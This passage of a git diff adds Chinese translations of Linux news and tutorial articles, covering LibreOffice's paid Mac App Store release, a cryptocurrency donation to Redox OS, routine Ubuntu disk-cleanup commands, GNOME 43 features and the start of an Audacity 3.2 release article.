环境?在下面的评论中分享你的想法。* + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/atoms-chroot-tool/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/09/atoms.png +[2]: https://itsfoss.com/distrobox/ +[3]: https://github.com/marhkb/pods +[4]: https://itsfoss.com/wp-content/uploads/2022/09/atoms-options.png +[5]: https://itsfoss.com/wp-content/uploads/2022/09/atom-config.png +[6]: https://itsfoss.com/wp-content/uploads/2022/09/atoms-option.png +[7]: https://itsfoss.com/wp-content/uploads/2022/09/atoms-console.png +[8]: https://itsfoss.com/wp-content/uploads/2022/09/atoms-detach-console.png +[9]: https://flathub.org/apps/details/pm.mirko.Atoms +[10]: https://itsfoss.com/flatpak-guide/ +[11]: https://github.com/AtomsDevs/Atoms +[12]: https://itsfoss.com/grub-customizer-ubuntu/ +[13]: https://itsfoss.com/what-is-grub/ diff --git a/published/202209/20220921 LibreOffice is Available for $8.99 on Mac App Store- Here-s Why!.md b/published/202209/20220921 LibreOffice is Available for $8.99 on Mac App Store- Here-s Why!.md new file mode 100644 index 0000000000..002f9ee81c --- /dev/null +++ b/published/202209/20220921 LibreOffice is Available for $8.99 on Mac App Store- Here-s Why!.md @@ -0,0 +1,108 @@ +[#]: subject: "LibreOffice is Available for $8.99 on Mac App Store: Here's Why!" +[#]: via: "https://news.itsfoss.com/libreoffice-mac-os-store/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "cool-summer-021" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15075-1.html" + +为什么 LibreOffice 在 Mac 应用商店卖 8.99 美元? +====== + +> 如今,Mac 应用商店正在售卖 LibreOffice。难道它不是免费的吗?我们来了解一下个中缘由。 + +![LibreOffice is Available for $8.99 on Mac App Store: Here's Why!][1] + +LibreOffice 是一个自由、开源、跨平台的办公套件。 + +所以它一直是 [微软 Office 的最佳免费替代品][2]。 + +如果事实的确如此, **我现在怎么会在这里讨论 LibreOffice 的购买呢?** + +### 文档基金会计划向市场推出这个项目以筹集资金, + +如今文档基金会正在努力改进营销策略,鼓励人们支持 LibreOffice 的发展。 + +当然,发布企业版是他们能做到的最好方式之一。 + +但是,能否通过提供相似的服务,把这种机会扩展到终端用户呢? + +**最方便的办法** 是像 Mac 应用商店那样,通过专有渠道销售 LibreOffice。 + +最近,文档基金会 [宣布][4] 在 Mac 应用商店销售 LibreOffice;他们是这么说的: + +> 跟以前的情况相比,文档基金会在 Mac 应用商店发布软件的举措是一次变革,这是一种新的市场策略:文档基金会专注于社区版的发布,而属于相关生态系统的公司专注于针对企业用户的、长期提供支持服务以及能够带来价值增值的版本。 + +很多用户信赖并依靠的是自己平台的官方应用商店。因此,在他们的官方应用商店销售 LibreOffice 能起到方便用户的作用。你可以自动将 LibreOffice 更新为最新版本,而无需每次更新时下载相应的版本。 + +![libreoffice mac app store][5] + +为了享受从 Mac 应用商店下载 LibreOffice 的便利,你需要一次性付费购买。 + +它在 Mac 应用商店的卖价是 **8.99 美元**。 + +> 你仍然可以在 [LibreOffice 网站][6] 上免费下载 Mac 版 LibreOffice。 + +#### Mac 应用商店不是已经可以下载了吗? + +![mac app store collabora][7] + +嗯,是,也不是。 + +Collabora Office(基于 LibreOffice 的企业版)在 Mac 应用商店售价是 **8.99 美元**。 + +它基于 LibreOffice,并不完全是 LibreOffice 的社区版本。所以现在,文档基金会在 Mac 应用商店推出了社区版。 + +他们也在告示中提到: + +> “我们感谢 Collabora 公司长期以来在 Mac 应用商店对 LibreOffice 的支持” +> +> -- Italo Vignoli,LibreOffice 市场营销团队 + +(LCTT 校注:也就是说,文档基金会在 Mac 应用商店推出的 LibreOffice 是无商业支持的社区版,和具有商业支持的、基于企业版定制的 Collabora Office 的售价一样。因此,这种行为可看作是文档基金会的某种自愿募捐方式 —— 如果不愿意捐助,你可以继续下载免费版本。) + +#### 这笔费用对 LibreOffice 有何帮助? + +截至目前,LibreOffice 已成为一个大型开源项目。很多 Linux 发行版中默认自带 LibreOffice,这并不奇怪,一些教育机构也决定使用 LibreOffice,从而取代微软 Office。 + +当然,它可能在某种意义上并不完美。但是它正在不断取得进步,能满足用户关于文档、表格或演示文稿方面的基本功能。 + +所以,收取的费用将用于项目的支持工作,可以覆盖项目的维护成本和远期用于支付贡献者和文档基金会工作人员的相关费用。 + +### 微软应用商店也会推出 LibreOffice 吗? + +![][8] + +微软应用商店现在并不直接提供 LibreOffice。 + +在微软应用商店,你可以以 14.99 美元的价格购买 Collabora Office。但是,文档基金会还没有发布官方的社区版。 + +还有 [Allo Office][9],以前被称为 LibreOffice Vanilla。 + +也许在它登陆 Mac 应用商店之后,他们可能会把它引入微软商店。 + +💬 *对于在 Mac 应用商店购买 LibreOffice,你怎么看?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/libreoffice-mac-os-store/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[cool-summer-021](https://github.com/cool-summer-021) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/libreoffice-mac-app-store.png +[2]: https://itsfoss.com/best-free-open-source-alternatives-microsoft-office/ +[3]: https://itsfoss.com/best-free-open-source-alternatives-microsoft-office/ +[4]: https://blog.documentfoundation.org/blog/2022/09/19/the-document-foundation-releases-libreoffice-on-apples-mac-app-store/ +[5]: https://news.itsfoss.com/content/images/2022/09/libreoffice-mac-1.jpg +[6]: https://www.libreoffice.org/download/download-libreoffice/ +[7]: https://news.itsfoss.com/content/images/2022/09/collabora-mac.webp +[8]: https://news.itsfoss.com/content/images/2022/09/collabora-windows.jpg +[9]: https://apps.microsoft.com/store/detail/allooffice/9MWJQ9TX63F9 diff --git a/published/202209/20220921 Wow! Rust-based Redox OS Gets an Anonymous Donation of $390,000 in Cryptocurrency.md b/published/202209/20220921 Wow! Rust-based Redox OS Gets an Anonymous Donation of $390,000 in Cryptocurrency.md new file mode 100644 index 0000000000..400a6b643a --- /dev/null +++ b/published/202209/20220921 Wow! Rust-based Redox OS Gets an Anonymous Donation of $390,000 in Cryptocurrency.md @@ -0,0 +1,77 @@ +[#]: subject: "Wow! Rust-based Redox OS Gets an Anonymous Donation of $390,000 in Cryptocurrency" +[#]: via: "https://news.itsfoss.com/redox-os-anonymous-donation/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15069-1.html" + +哇!基于 Rust 的 Redox OS 获得 390,000 美元的加密货币匿名捐赠 +====== + +> Redox OS 刚刚获得了大量匿名捐款。它将用于什么?令人兴奋的事情! + +![Wow! Rust-based Redox OS Gets an Anonymous Donation of $390,000 in Cryptocurrency][1] + +[Redox OS][2] 是一个用 Rust 编写的类 Unix 操作系统。 + +该项目由 Jeremy Soller 于 2015 年发起,他被公认为 [System76][3] 的首席工程师及[Pop!_OS][4] 的维护者。 + +我们还介绍了它今年早些时候的最后一个版本:[基于 Rust 的 Redox OS 0.7.0 推出增强硬件支持](https://news.itsfoss.com/redox-os-0-7-0-release/)。 + +虽然这些更新包括的改进可以让它在更多硬件上启动,但它可能不是大多数用户的日常驱动程序的替代品。 + +然而,这是一个令人兴奋的项目,值得关注。 + +**而在收到匿名捐款后,事情变得更加精彩**。 + +🤯 刚刚有人向 Redux OS 的捐赠地址发送了 **299 个以太坊**,相当于近 **39 万美元**(加密货币市场涨跌不定)。 + +嗯,那是一大笔钱! + +![A Video from YouTube][7] + +根据 Jeremy 的最新推文,他还没有立即决定如何处理它。 + +> 一位匿名捐赠者刚刚向 @redox_os 捐赠地址发送了 299 以太(相当于 393,000 美元) 。这个地址和交易都是公开的。我不知道如何处理这种规模的捐赠,但在进行一些研究后很快就会有更多细节。https://t.co/f3yBDghWSh +> + +但是,对推文的回复给了我们一些很好的建议。 + +一些人建议将其捐赠给负责 Rust 语言的人,还有一些人建议用这笔钱来赞助学习 Rust 和 OS 开发。 + +他肯定可以使用它来扩展 Redox OS 或其他任何需要该资源的东西。 + +归根结底,对于想要更多基于 Rust 的东西的人来说,无论 Jeremy 选择做什么,这都可能间接成为一件好事。 + +或者,也许买一辆带有 Redox OS 标志的布加迪?好吧,一些推特用户对这一事件有过搞笑的回复!😂 + +> 这不是开源项目第一次收到大量的加密货币捐赠。Apache 软件基金会在 2018 年收到了价值 100 万美元的比特币。 + +当 Jeremy 决定分享有关捐赠的更多细节以及他打算如何处理时,我将更新这篇文章。 + +💬 *你如何看待匿名捐赠给 Redox OS?如果你得到那笔捐款,你会怎么做?在下面的评论框中让我们知道你的想法。* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/redox-os-anonymous-donation/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/donor-sends-ether-to-redux-os.png +[2]: https://www.redox-os.org/ +[3]: https://system76.com/ +[4]: https://pop.system76.com/ +[5]: https://news.itsfoss.com/redox-os-0-7-0-release/ +[7]: https://tenor.com/embed/17544086 +[8]: https://twitter.com/redox_os?ref_src=twsrc%5Etfw +[9]: https://t.co/f3yBDghWSh +[13]: https://news.apache.org/foundation/entry/the-apache-software-foundation-receives diff --git a/published/202209/20220922 4 Simple Steps to Clean Your Ubuntu System.md b/published/202209/20220922 4 Simple Steps to Clean Your Ubuntu System.md new file mode 100644 index 0000000000..0374034a6c --- /dev/null +++ b/published/202209/20220922 4 Simple Steps to Clean Your Ubuntu System.md @@ -0,0 +1,177 @@ +[#]: subject: "4 Simple Steps to Clean Your Ubuntu System" +[#]: via: "https://www.debugpoint.com/4-simple-steps-clean-ubuntu-system-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15089-1.html" + +清理 Ubuntu 系统的 4 个简单步骤 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/30/123825r2vri1kv0rc2f7xh.jpg) + +> 现在,试试看这 4 个简单的步骤,来清理你的 Ubuntu 系统吧。 + +这份精简指南将告诉你如何清理 Ubuntu 系统以及如何释放一些磁盘空间。 + +如果你的 Ubuntu 系统已经运行了至少一年,尽管系统是最新的,你仍然可能会觉得你的 Ubuntu 系统运行缓慢且滞后。 + +在过去,因为你想试验某一应用程序,或是在看到了它的好评推荐之后,而安装了许多应用程序,但你并没有删除它们。下面这些方法可以帮助你找出一些可以释放的隐藏磁盘空间。 + +### 清理 Ubuntu 系统的步骤 + +#### 1、清理 Apt 缓存 + +Apt 缓存是 Ubuntu 系统保存你下载过的所有文件的地方,以供你之后可以查看它。大多数用户不会去清理 Apt 缓存,而它却可能会占用数百兆字节。 + +打开终端,并运行以下命令,可以得到你的 Apt 缓存有多少: + +``` +du -sh /var/cache/apt/archives +``` + +![][1] + +如果你的 Ubuntu 系统已经安装了很久的话,你将看到这个数字非常大。运行以下命令来清理 Apt 缓存。 + +``` +sudo apt-get clean +``` + +#### 2、删除无用的内核 + +如果你已经运行 Ubuntu 系统超过了一年,那么你很可能安装多个内核。如果你的硬件是最新的,并且与 Linux 兼容而没有太多配置,你可以删除旧的内核,保留最新的内核。 + +在终端运行以下命令来删除旧的内核: + +``` +sudo apt-get autoremove --purge +``` + +![Autoremove Purge][2] + +#### 3、删除旧的应用程序和软件包 + +如果你是一个喜欢尝试 Linux 应用程序的人,那么你的系统中肯定有一些不再需要的没用的应用程序。 + +现在,你可能已经忘记了你安装过的应用程序名称。不过你可以在终端运行以下命令来查看你最近安装的内容: + +你会得到通过 `apt` 命令安装的应用程序和软件包的列表: + +``` +history | grep "apt-get install" +``` + +![List of apt installed app – History][3] + +你将得到最近安装的应用程序列表: + +``` +grep " install " /var/log/dpkg.log.1 +``` + +``` +zgrep " install " /var/log/dpkg.log.2.gz +``` + +你可以运行以下命令来删除应用程序和软件包: + +``` +sudo apt remove app1 package1 +``` + +#### 4、使用系统清理应用 + +有大量免费和原生的系统 [清理应用][4] 可以使用。但是,我认为 [BleachBit][5] 是清理系统最好的一个应用,因为它经久不衰。 + +使用以下命令安装 BleachBit 或通过应用商店安装。 + +``` +sudo apt install bleachbit +``` + +安装后,打开 BleachBit,并运行扫描。它会向你显示浏览器占用的所有缓存文件、临时文件、垃圾等,你只需单击一个按钮即可清理它。 + +![][6] + +### 附送技巧 + +#### 清理 Flatpak 软件包 + +Flatpak 应用程序和运行时runtime会占用大量磁盘空间。因为在设计上,Flatpak 的可执行文件结合了运行时。尽管运行时可以在相关应用程序之间共享,但许多未使用的剩余运行时可能会占用你的磁盘空间。 + +删除一些未使用的 Flatpak 包最直接的方法是下面的命令。在终端运行这一命令。 + +``` +flatpak uninstall --unused +``` + +可以参考 [这篇文章][7] 了解有关 Flatpak 包的更多信息。 + +#### 清理未使用的 Snap 项目 + +如果你使用 Ubuntu 系统,那么你很有可能使用的是 Snap 软件包。随着时间的推移,Snap 会积累不相关的运行时和文件。你可以使用以下脚本来清理一些没用的 snap 运行时。 + +将下面的脚本复制到一个新文件中,并将其命名为 `clean_snap.sh`: + +然后使用 `chmod +x clean_snap.sh` 命令来赋予它可执行权限,并通过 `./clean_snap.sh` 运行 + +``` +#!/bin/bash +#Removes old revisions of snaps +#CLOSE ALL SNAPS BEFORE RUNNING THIS +set -eu +LANG=en_US.UTF-8 +snap list --all | awk '/disabled/{print $1, $3}' | + while read snapname revision; do + snap remove "$snapname" --revision="$revision" + done +``` + +可以参考 [这篇文章][8] 了解有关清理 Snap 包的更多信息。 + +#### 更多技巧 + +你还可以使用以下命令来手动搜索大文件。 + +``` +find /home -type f -exec du -h {} + | sort -hr | head -20 +``` + +例如,运行以下命令,你会得到根目录 `/` 中的前 20 个大文件。现在你可以查看大文件,并使用文件管理器手动删除它们。请注意删除文件时要非常小心。尽量不要涉及 `/home` 目录以外的任何内容。 + +![Find Large files in Linux][9] + +### 总结 + +这样就完成了。如果你按照上述步骤操作,你一定能够释放 Ubuntu 系统中的一些空间,现在你的系统有剩余空间了。你可以按照这些措施来清理 Ubuntu 系统。不要忘记使用最新的软件包,使你的系统保持到最新。 + +🗨️ 如果你认为使用上述的技巧可以释放一些磁盘空间,并使得你的 Ubuntu 更快了,请在下方评论区留言。你通常又是使用什么命令来清理你的 Ubuntu 系统? + +快留言告诉我吧。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/4-simple-steps-clean-ubuntu-system-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2018/07/apt-cache.png +[2]: https://www.debugpoint.com/wp-content/uploads/2018/07/Autoremove-Purge-1024x218.png +[3]: https://www.debugpoint.com/wp-content/uploads/2018/07/List-of-apt-installed-app-History.png +[4]: https://www.debugpoint.com/2017/02/stacer-is-a-system-monitoring-and-clean-up-utility-for-ubuntu/ +[5]: https://www.bleachbit.org +[6]: https://www.debugpoint.com/wp-content/uploads/2018/07/BleachBit-Clean-your-system.png +[7]: https://www.debugpoint.com/clean-up-flatpak/ +[8]: https://www.debugpoint.com/clean-up-snap/ +[9]: https://www.debugpoint.com/wp-content/uploads/2018/07/Find-Large-files-in-Linux-1024x612.png +[10]: https://www.debugpoint.com/gnome-43/ diff --git a/published/202209/20220922 GNOME 43- Top New Features and Release Wiki.md b/published/202209/20220922 GNOME 43- Top New Features and Release Wiki.md new file mode 100644 index 0000000000..12e370b131 --- /dev/null +++ b/published/202209/20220922 GNOME 43- Top New Features and Release Wiki.md @@ -0,0 +1,213 @@ +[#]: subject: "GNOME 43: Top New Features and Release Wiki" +[#]: via: "https://www.debugpoint.com/gnome-43/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15071-1.html" + +GNOME 43 发布,标志性的版本 +====== + +> 对 GNOME 43 桌面环境的各种功能的介绍,以及它给你的日常需求和工作流程带来的变化和影响。 + +![通过 GNOME OS 运行的 GNOME 43][1] + +这篇文章总结了所有关于 GNOME 43 的必要信息,包括功能、发布时间表等等。GNOME 43 版本可能是自 GNOME 40 以来在功能和对你的工作流程影响最大的一个版本。 + +主要的变化包括更新的 Shell 和更快的性能,内含了 GTK4 和 libadwaita 的转换,翻新的文件应用和 Web 应用的奇妙变化。 + +所有这些必要的变化都是早该进行的,并将改变你在 GNOME 桌面上的传统工作流程,使你的工作效率更高。 + +### 时间表 + +GNOME 43 于 2022 年 9 月 21 日 [正式发布][2]。 + +* GNOME 43 测试版:2022 年 8 月 31 日 +* GNOME 43 候选版:2022 年 9 月 4 日 +* GNOME 43 最终版:2022 年 9 月 21 日 + +### GNOME 43 的功能 + +#### 1、核心 Shell 的变化 + +* 终于,得益于 Wayland 最近的工作,GNOME 有了对高分辨率的滚轮支持。所以,如果你有一个高分辨率的显示器,用一个高级的鼠标(比如罗技 MX Master 3)来滚动应该成为了一种享受。 +* 除了上述情况,GNOME 43 中的直接扫描输出direct scanout 支持将有助于多显示器环境。 +* 服务器端的窗口装饰得到了基本的颜色支持。 +* Shell 还实现了一个功能,当焦点改变时,通知会消失,并不等待超时。 +* 和每个版本一样,你在整个桌面上会体验到更好的动画性能,改进了网格和概览导航以及关键的更新,这给你带来了顺滑的体验。 + +这些就是核心变化的关键总结。现在,让我们来谈谈快速设置。 + +#### 2、新的快速设置菜单 + +系统托盘中的快速设置完全改变了。快速设置项目和菜单现在采用药丸状的切换按钮,用鲜艳的颜色来显示系统中正在发生的事情。该菜单也是动态的,并支持层叠的菜单项目。此外,你可以在快速设置中选择音频设备。 + +这里有一个快速演示,更多的屏幕截图和文章,请阅读:[GNOME 43 快速设置][3]。 + +![GNOME 43 的快速设置演示][4] + +#### 3. 文件应用 + +GNOME 文件应用Files在 GNOME 43 版本中增加了很多功能。这个应用程序的改进清单非常巨大。文件管理器是任何桌面环境中使用最多的应用程序。因此,文件应用中的变化对整个用户群的影响最大。 + +这是 GTK4 版的文件应用第一次亮相(它在 GNOME 42 发布时还没有准备好),它将会彻底改变你的工作流程。 + +我将尝试用一个简短的列表来解释其中的大部分内容。否则,这将是一篇冗长的文章。我将单独推送另一篇关于文件应用的功能的文章。 + +##### 自适应侧边栏 + +可以让你访问导航、收藏夹、网络驱动器等的文件应用侧边栏是响应式的。当文件应用窗口的大小达到一定程度时,它会 [自动隐藏][5] 自己。如果你工作时有很多打开的窗口,而且显示器较小,那么这是一个熟悉而方便的功能。 + +另一个令人兴奋的功能是,当侧边栏完全隐藏时,在左上方会出现一个图标,点击可使其可见。 + +![自动隐藏侧边栏的文件应用 43][6] + +##### 徽章 + +很久以前,GNOME 中就有了徽章,后来它们消失了。因此,徽章在 GNOME 43 中以文件和目录旁边的小图标的形象卷土重来。这些图标代表着类型,如符号链接、只读等。此外,这些图标会根据你的主题改变它们的颜色,而且一个文件也可以有多个图标。 + +![GNOME 43 中的徽章][7] + +##### 橡皮筋选择 + +接下来是期待已久的橡皮筋选择功能,它 [终于到来了][8]。现在你可以通过拖动选择机制来选择文件和文件夹。这是用户要求最多的功能之一。 + +![橡皮筋选择功能][9] + +##### GtkColumnView 代替了 GtkTreeView + +当你把鼠标放在列视图中的项目上时,你会看到一个焦点行,这是 GNOME 43 文件应用的另一个关键功能。但是它在 [树形视图不能显示][10],可能计划在下一次迭代中实现。 + +![GtkColumnView 启用了焦点行][11] + +##### 重新设计的属性窗口,具有交互式的权限和可执行文件检测功能 + +通过采用 GTK4,属性窗口 [完全改变了][12]。该窗口现在更加简洁,设计合理,只在需要的时候显示必要的项目。 + +此外,属性对话框可以确定文件类型并提供合适的选项。例如,如果你查看一个 Shell 脚本或文本文件的属性,你会得到一个选项,使其可执行。相反,图像文件的属性不会给你一个可执行的选项。 + +![智能属性窗口][13] + +##### 标签式视图的改进 + +文件的标签式视图得到了一些 [额外的更新][14]。最值得注意的是,当拖动文件到标签时,可以适当地聚焦,在当前聚焦的标签之后创建标签,等等。 + +##### 重新设计的右键菜单 + +对文件或文件夹的主要右键菜单进行了分组。首先,打开选项被归入一个子菜单中。其次,复制/粘贴/剪切选项被合并到一个组中。最后,垃圾箱、重命名和压缩选项被归为一组。 + +此外,“在终端打开Open in terminal”的选项对所有文件和文件夹都可用。然而,仍然缺失一个“创建新文件”的选项(这是我在这个版本中所期望的)。(LCTT 译者:预计 GNOME 44 文件应用将出现此功能) + +![各种上下文菜单][15] + +##### 其他变化 + +文件应用中其他醒目的变化是垃圾箱图标,以及其他位置(网络驱动器、磁盘)在右键菜单中有了属性菜单。 + +最后,文件应用的偏好窗口被重新设计,以显示更多的基本项目。重新设计后,普通用户可以很容易地找到适当的文件设置。 + +#### 4、Web 应用 + +让我们抽出一些时间来谈谈我们心爱的 Epiphany,又称 GNOME Web,是 GNOME 桌面上基于 WebKit 的原生网页浏览器。 + +这些更新早就应该开始了,并且终于从这个版本开始出现了。 + +首先,GNOME Web 现在支持 WebExtension API。它可以让你在网络中下载和安装火狐和谷歌浏览器的扩展。以下是做法: + +* 从 Firefox 附加组件或谷歌 Chrome 扩展页面下载任何扩展文件(xpi 或 crx 文件)。 +* 点击汉堡菜单,选择扩展程序Extensions。 +* 最后,点击添加Add来安装它们。 + +WebExtension 的支持是使 Web 应用尽快可用的关键步骤。 + +其次,可以使用火狐浏览器同步选项,让你通过火狐浏览器账户登录 Web 应用,同步书签和其他浏览器项目。 + +![使用火狐账户登录 Web 应用][16] + +Web 应用中其他值得注意的变化包括对 “查看源代码” 的支持、GTK4 的移植工作和一个更新的 PDF 库(PDF.js 2.13.216)。 + +Web 应用中仍然缺少的一个关键组件是 [通过 GStreamer 支持WebRTC][17]。一旦这个功能出现,它将是一个适合日常使用的浏览器。 + +希望有一天,我们都有一个体面的非火狐、非 Chromium 的替代浏览器。 + +#### 5、设置应用 + +在 设置应用Settings 的窗口中,大部分改进和视觉微调在这个版本中出现。重要的变化包括警报中的 “狗叫声” 在经过长时间的 [有趣的对话][18] 后现在已经消失。 + +此外,引入了一个新的设备安全面板,日期和时间面板中的时区地图也修改了。 + +设置窗口的侧边栏也是响应式的,并为你提供自动隐藏功能,如上图所示的文件应用一样。 + +#### 6、软件应用 + +GNOME 软件应用Software 有两个关键的变化。这些变化使你可以在一个页面上查看应用程序的更多信息。 + +首先,一个新“该作者的其他应用程序”部分,为你提供了一个由当前应用程序的作者编写的应用程序列表。这有助于发现并告诉你应用作者有多受欢迎。 + +其次,GNOME 43 软件应用现在在一个单独的窗口中为你提供了 Flatpak 应用程序所需的详细权限列表。因此,你可以在安装它们之前确认该应用程序所需权限。 + +另一个关键的视觉变化是在应用程序概览主页面上新增了 “适用于 Fedora/任何发行版”部分,这需要配置。 + +![软件应用中的开发者的其他应用程序部分][19] + +#### 7、气候变化墙纸 + +我不确定这个功能是否有了。因为我找不到它,但我听说过它。所以,我想我应该在这里提到它。 + +这个功能是,GNOME 43 带来了一张背景墙纸,显示了全球温度在几十年间是如何从 [海洋条纹][20] 上升的。该墙纸包含了垂直的彩色编码条,表示低和高的温度。我认为这是一个很好的提示,也是提高人们认识的努力。这是它在 GitLab 中的 [提交][21]。 + +此外,还有几张新的 [白天和黑夜][22] 的新鲜壁纸。 + +这就是我可以找到并总结的所有基本变化。除了这些,GNOME 43 还有大量的错误修复、性能改进和代码清理。 + +Fedora 37 将在发布时采用 GNOME 43,它的某些部分应该在 10 月发布的 Ubuntu 22.10 中出现。 + +### 总结 + +GNOME 43 是一个标志性的版本,因为它改变了几个基本的设计,影响了数百万用户的工作流程。快速设置的转变是非常棒的,而且早该如此了。此外,文件应用、Web 应用和设置应用的必要改变将提高你的工作效率。 + +此外,新功能的到来,同时保持了设计准则和美学的理念。一个好的用户界面需要一个深思熟虑的过程,而开发者在这个版本中做了完美的工作。 + +所以,差不多就是这样了。这就是 GNOME 43 的内容。如果你打算得到这个更新并想从 KDE 跳到 GNOME,请告诉我! + +🗨️请在下面的评论区让我知道你最喜欢的功能。 + +举杯~ + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/gnome-43/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/08/GNOME-43-Running-via-GNOME-OS.jpg +[2]: https://debugpointnews.com/gnome-43-release/ +[3]: https://www.debugpoint.com/gnome-43-quick-settings/ +[4]: https://www.debugpoint.com/?attachment_id=10682 +[5]: https://gitlab.gnome.org/GNOME/nautilus/-/merge_requests/877 +[6]: https://www.debugpoint.com/?attachment_id=10684 +[7]: https://www.debugpoint.com/?attachment_id=10685 +[8]: https://gitlab.gnome.org/GNOME/nautilus/-/merge_requests/817 +[9]: https://www.debugpoint.com/wp-content/uploads/2022/08/Rubberband-Selection-Feature.gif +[10]: https://gitlab.gnome.org/GNOME/nautilus/-/merge_requests/817 +[11]: https://www.debugpoint.com/wp-content/uploads/2022/08/GtkColumnView-enables-row-focus.gif +[12]: https://gitlab.gnome.org/GNOME/nautilus/-/merge_requests/745 +[13]: https://www.debugpoint.com/wp-content/uploads/2022/08/Intelligent-properties-window.jpg +[14]: https://gitlab.gnome.org/GNOME/nautilus/-/merge_requests/595 +[15]: https://www.debugpoint.com/?attachment_id=10689 +[16]: https://www.debugpoint.com/wp-content/uploads/2022/08/Login-to-Web-using-Firefox-account.jpg +[17]: https://twitter.com/_philn_/status/1490391956970684422 +[18]: https://discourse.gnome.org/t/dog-barking-error-message-sound/9529/2 +[19]: https://www.debugpoint.com/wp-content/uploads/2022/08/Other-APPS-by-developer-section-in-Software.jpg +[20]: https://showyourstripes.info/s/globe/ +[21]: https://gitlab.gnome.org/GNOME/gnome-backgrounds/-/commit/a142d5c88702112fae3b64a6d90d10488150d8c1 +[22]: https://www.debugpoint.com/custom-light-dark-wallpaper-gnome/ diff --git a/published/202209/20220923 Audacity 3.2 Released With VST3 Plugins and Apple Silicon Support.md b/published/202209/20220923 Audacity 3.2 Released With VST3 Plugins and Apple Silicon Support.md new file mode 100644 index 0000000000..7bec02bf74 --- /dev/null +++ b/published/202209/20220923 Audacity 3.2 Released With VST3 Plugins and Apple Silicon Support.md @@ -0,0 +1,100 @@ +[#]: subject: "Audacity 3.2 Released With VST3 Plugins and Apple Silicon Support" +[#]: via: "https://news.itsfoss.com/audacity-3-2-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15079-1.html" + +Audacity 3.2 发布,增加了 VST3 插件和 Apple 芯片支持 +====== + +> Audacity 的新更新带来了一些重要功能,例如 VST3 插件支持和新效果按钮。 + +![Audacity 3.2 Released With VST3 Plugins and Apple Silicon Support][1] + +Audacity 3.2 来了,这是这个最流行的自由开源音频编辑和录制工具之一的小版本更新。 + +[此版本是在之前的主要版本 Audacity 3.0][2] 发布一年多之后发布的。 + +[即使在去年引起争议][3] 之后,它仍然是目前最好的 Linux 音频编辑器之一。 + +此版本有许多新增功能,例如对**VST3 插件的支持、对 Apple 芯片、FFMPEG 5.0 的支持**等等。 + +让我们快速了解一下 Audacity 的新功能。 + +### Audacity 3.2:有什么新功能? + +这是一个小版本更新,带来了重大的变化和补充。 + +一些主要亮点包括: + +- 支持 VST3 插件。 +- Apple 芯片支持。 +- FFMPEG 5.0。 +- VST3、LV2、音频单元和 LADSPA 的实时功能。 +- 用于实时效果的专用按钮。 +- 删除对 Linux 系统的 JACK 要求。 +- 对用户界面的各种调整。 + +### 新的效果按钮 + +![audacity 3.2 effects button][6] + +Audacity 的界面中添加了一个专用的实时效果按钮,使用户可以轻松地即时下载和应用效果。 + +[你可以访问官方维基][7] 了解有关此功能的更多信息。 + +### VST3 插件支持 + +Audacity 3.2 还引入了对 VST3 插件的支持,这使用户能够利用 VST3 的高级音频处理功能,包括高效利用 CPU、更好地处理 MIDI、支持 MIDI I/O 等等。 + +### 将音频上传到云端 + +![audacity 3.2 share audio button][8] + +在 Audacity 中加入的另一个令人兴奋的功能是,可以选择直接从应用程序中分享音频到 Audacity 的新云音频平台 [audio.com][9]。 + +### FFMPEG 5.0 + +Audacity 